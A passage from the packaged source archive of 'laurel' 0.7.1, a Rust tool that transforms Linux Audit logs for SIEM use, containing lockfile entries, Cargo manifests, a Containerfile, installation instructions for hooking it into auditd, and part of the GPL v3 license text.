"e02e925281e18ffd9d640e234264753c43edc62d64b2d4cf898f1bc5e75f3fc2" dependencies = [ "proc-macro2", "quote", "unicode-ident", ] [[package]] name = "syslog" version = "7.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "019f1500a13379b7d051455df397c75770de6311a7a188a699499502704d9f10" dependencies = [ "hostname", "libc", "log", "time", ] [[package]] name = "terminal_size" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" dependencies = [ "rustix", "windows-sys 0.48.0", ] [[package]] name = "thiserror" version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" dependencies = [ "thiserror-impl 1.0.69", ] [[package]] name = "thiserror" version = "2.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708" dependencies = [ "thiserror-impl 2.0.12", ] [[package]] name = "thiserror-impl" version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" dependencies = [ "proc-macro2", "quote", "syn", ] [[package]] name = "thiserror-impl" version = "2.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d" dependencies = [ "proc-macro2", "quote", "syn", ] [[package]] name = "time" version = "0.3.37" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35e7868883861bd0e56d9ac6efcaaca0d6d5d82a2a7ec8209ff492c07cf37b21" dependencies = [ "deranged", "itoa", "libc", "num-conv", "num_threads", "powerfmt", "serde", "time-core", "time-macros", ] [[package]] name = "time-core" version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" version = "0.2.19" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2834e6017e3e5e4b9834939793b282bc03b37a3336245fa820e35e233e2a85de" dependencies = [ "num-conv", "time-core", ] [[package]] name = "tinyvec" version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09b3661f17e86524eccd4371ab0429194e0d7c008abb45f7a7495b1719463c71" dependencies = [ "serde", "tinyvec_macros", ] [[package]] name = "tinyvec_macros" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "toml" version = "0.8.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cd87a5cdd6ffab733b2f74bc4fd7ee5fff6634124999ac278c35fc78c6120148" dependencies = [ "serde", "serde_spanned", "toml_datetime", "toml_edit", ] [[package]] name = "toml_datetime" version = "0.6.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0dd7358ecb8fc2f8d014bf86f6f638ce72ba252a2c3a2572f2a795f1d23efb41" dependencies = [ "serde", ] [[package]] name = "toml_edit" version = "0.22.24" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "17b4795ff5edd201c7cd6dca065ae59972ce77d1b80fa0a84d94950ece7d1474" dependencies = [ "indexmap", "serde", "serde_spanned", "toml_datetime", "winnow", ] [[package]] name = "unicode-ident" version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "00e2473a93778eb0bad35909dff6a10d28e63f792f16ed15e404fca9d5eeedbe" [[package]] name = "unicode-width" version = "0.1.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af" [[package]] name = "uuid" version = "1.15.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e0f540e3240398cce6128b64ba83fdbdd86129c16a3aa1a3a252efd66eb3d587" [[package]] name = "version_check" version = "0.9.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" [[package]] name = "windows" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" dependencies = [ "windows-core", "windows-targets 0.52.6", ] [[package]] name = "windows-core" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ "windows-targets 0.52.6", ] [[package]] name = "windows-sys" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ "windows-targets 0.48.5", ] [[package]] name = "windows-sys" version = "0.59.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" dependencies = [ "windows-targets 0.52.6", ] [[package]] name = "windows-targets" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ "windows_aarch64_gnullvm 0.48.5", "windows_aarch64_msvc 0.48.5", "windows_i686_gnu 0.48.5", "windows_i686_msvc 0.48.5", "windows_x86_64_gnu 0.48.5", "windows_x86_64_gnullvm 0.48.5", "windows_x86_64_msvc 0.48.5", ] [[package]] name = "windows-targets" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" dependencies = [ "windows_aarch64_gnullvm 0.52.6", "windows_aarch64_msvc 0.52.6", "windows_i686_gnu 0.52.6", "windows_i686_gnullvm", "windows_i686_msvc 0.52.6", "windows_x86_64_gnu 0.52.6", "windows_x86_64_gnullvm 0.52.6", "windows_x86_64_msvc 0.52.6", ] [[package]] name = "windows_aarch64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_gnullvm" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" [[package]] name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_aarch64_msvc" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" [[package]] name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_gnu" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" [[package]] name = "windows_i686_gnullvm" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" [[package]] name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_i686_msvc" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" [[package]] name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnu" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" [[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_gnullvm" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" [[package]] name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] name = "windows_x86_64_msvc" version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" [[package]] name = "winnow" version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0e7f4ea97f6f78012141bcdb6a216b2609f0979ada50b20ca5b52dde2eac2bb1" dependencies = [ "memchr", ] laurel-0.7.1/Cargo.toml0000644000000053010000000000100103220ustar # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO # # When uploading crates to the registry Cargo will automatically # "normalize" Cargo.toml files for maximal compatibility # with all versions of Cargo and also rewrite `path` dependencies # to registry (e.g., crates.io) dependencies. # # If you are reading this file be aware that the original Cargo.toml # will likely look very different (and much more reasonable). # See Cargo.toml.orig for the original contents. [package] edition = "2021" rust-version = "1.70" name = "laurel" version = "0.7.1" authors = [ "Hilko Bengen ", "Sergej Schmidt ", ] build = "build.rs" autolib = false autobins = false autoexamples = false autotests = false autobenches = false description = "Transform Linux Audit logs for SIEM usage" homepage = "https://github.com/threathunters-io/laurel" readme = "README.md" keywords = [ "linux", "audit", "parser", "log", "json", ] categories = ["encoding"] license = "GPL-3.0-or-later" repository = "https://github.com/threathunters-io/laurel" [badges.maintenance] status = "actively-developed" [features] default = ["procfs"] procfs = [] [lib] name = "laurel" path = "src/lib.rs" [[bin]] name = "laurel" path = "src/bin/laurel/main.rs" [[bin]] name = "laurel2audit" path = "src/bin/laurel2audit/main.rs" [[bench]] name = "coalesce_execve" path = "benches/coalesce_execve.rs" harness = false [dependencies.anyhow] version = "1" [dependencies.exacl] version = ">= 0.6" [dependencies.faster-hex] version = ">= 0.9" [dependencies.getopts] version = "0.2" [dependencies.indexmap] version = "2" features = ["serde"] [dependencies.lazy_static] version = "1" [dependencies.libc] version = "0.2" [dependencies.linux-audit-parser] version = "0.2.6" [dependencies.log] version = "0.4" [dependencies.nix] version = ">= 0.26" features = [ "user", "fs", "time", "process", "signal", ] [dependencies.regex] version = "1" [dependencies.serde] version = "1" features = ["derive"] [dependencies.serde_bytes] version = "0.11.15" [dependencies.serde_json] version = "1" features = ["preserve_order"] [dependencies.serde_with] version = "3" features = ["macros"] default-features = false [dependencies.signal-hook] version = "0.3" [dependencies.simple_logger] version = ">= 1" [dependencies.syslog] version = "7" [dependencies.thiserror] version = "2" [dependencies.tinyvec] version = "1" features = [ "alloc", "serde", ] [dependencies.toml] version = ">= 0.5" [dev-dependencies.divan] version = "0.1.13" [dev-dependencies.gperftools] version = "0" [build-dependencies.bindgen] version = ">= 0.60" [target.'cfg(target_os = "linux")'.dependencies.caps] version = "0.5" laurel-0.7.1/Cargo.toml.orig000064400000000000000000000026511046102023000140100ustar 00000000000000[package] name = "laurel" version = "0.7.1" authors = ["Hilko Bengen ", "Sergej Schmidt "] edition = "2021" rust-version = "1.70" description = "Transform Linux Audit logs for SIEM usage" homepage = "https://github.com/threathunters-io/laurel" repository = "https://github.com/threathunters-io/laurel" license = "GPL-3.0-or-later" keywords = ["linux", "audit", "parser", "log", "json"] categories = ["encoding"] [badges] maintenance = { status = "actively-developed" } [dependencies] lazy_static = "1" getopts = "0.2" serde = { version = "1", features = ["derive"] } serde_json = { version = "1", features = ["preserve_order"] } indexmap = { version = "2", features = ["serde"] } toml = ">= 0.5" nix = { version = ">= 0.26", features = ["user", "fs", "time", "process", "signal"]} libc = "0.2" exacl = ">= 0.6" regex = "1" signal-hook = "0.3" tinyvec = { version = "1", features = ["alloc", "serde"] } log = "0.4" simple_logger = ">= 1" syslog = "7" thiserror = "2" anyhow = "1" faster-hex = ">= 0.9" linux-audit-parser = "0.2.6" serde_with = { version = "3", default-features = false, features = ["macros"] } serde_bytes = "0.11.15" [target.'cfg(target_os = "linux")'.dependencies] caps = "0.5" [build-dependencies] bindgen = ">= 0.60" [dev-dependencies] divan = "0.1.13" gperftools = "0" [features] procfs = [] default = ["procfs"] [[bench]] name = "coalesce_execve" harness = false laurel-0.7.1/Containerfile000064400000000000000000000003541046102023000136240ustar 00000000000000FROM gcr.io/distroless/static-debian12 COPY target/x86_64-alpine-linux-musl/release/laurel /usr/bin/laurel COPY etc/laurel/config.toml /etc/laurel/config.toml ENTRYPOINT ["/usr/bin/laurel"] CMD ["--config", "/etc/laurel/config.toml"] laurel-0.7.1/INSTALL.md000064400000000000000000000060341046102023000125500ustar 00000000000000# _LAUREL_ installation instructions ## Either build from source… _LAUREL_ is written in Rust. To build it, a reasonably recent Rust compiler is required, we currently use 1.56 for development. Also: - `cargo` - `clang` - the `libacl` library and its header files (Debian: `libacl1-dev`, RedHat: `libacl-devel`, Alpine: `acl-dev`) Build binary, install: ``` console $ cargo build --release $ sudo install -m755 target/release/laurel /usr/local/sbin/laurel ``` If the environment variable `LAUREL_BUILD_ID` is set at build time, it is output after the version number. ## …or use one of the provided binaries For tagged releases, two types of binaries are created: - a statically-linked, [musl-libc](https://musl.libc.org) version, built on Alpine 3.16, - a dynamically-linked version based on an older version of GNU libc, built on CentOS 7. The static build lacks the ability to perform user and group lookups using the _nsswitch_ facility used on GNU-libc-based systems, therefore it should be avoided on systems where other user/group databases than local `/etc/passwd` and `/etc/group` files are used (cf. issue #84). The provided binaries are built using Github's CI mechanism. See `.github/workflows/` for details. Extract binary, install: ``` console $ tar xzf laurel-$FLAVOR.tar.gz laurel $ sudo install -m755 laurel /usr/local/sbin/laurel ``` ## Set up _auditd_ to use _LAUREL_ and configure _LAUREL_ itself - Create a dedicated user, e.g.: ``` console $ sudo useradd --system --home-dir /var/log/laurel --create-home _laurel ``` - Configure _LAUREL_: Copy the provided annotated [example](etc/laurel/config.toml) to `/etc/laurel/config.toml` and customize it. - Register _LAUREL_ as an _auditd_ plugin: Depending on your _auditd_ version, copy the provided [example](etc/audit/plugins.d/laurel.conf) to - `/etc/audit/plugins.d/laurel.conf` for _auditd_ 3 - `/etc/audisp/plugins.d/laurel.conf` for _auditd_ 2 - If you are running SELinux, compile the provided policy and install it into the running kernel: ``` console $ make -C contrib/selinux $ sudo semodule -i contrib/selinux/laurel.pp $ sudo restorecon -v -R -F /usr/local/sbin/laurel /etc/laurel /var/log/laurel /etc/audit/plugins.d/laurel.conf ``` - Tell _auditd(8)_ to re-evaluate its configuration: ``` console $ sudo pkill -HUP auditd ``` - Check that _LAUREL_ running. On _systemd_-enabled systems, the _LAUREL_ binary should be part of the control group corresponding to the _auditd_ service: ``` console $ sudo systemctl status auditd.service […] CGroup: /system.slice/auditd.service ├─ 277780 /sbin/auditd └─1113756 /usr/local/sbin/laurel --config /etc/laurel/config.toml […] ``` ## Test, Debug For debugging and other testing purposes, _LAUREL_ can be run without specifying any configuration file. It will then not change users and read events from standard input, just as it would when called from _auditd_. Log entries are written to `audit.log` in the current working directory. laurel-0.7.1/LICENSE000064400000000000000000001045131046102023000121260ustar 00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent 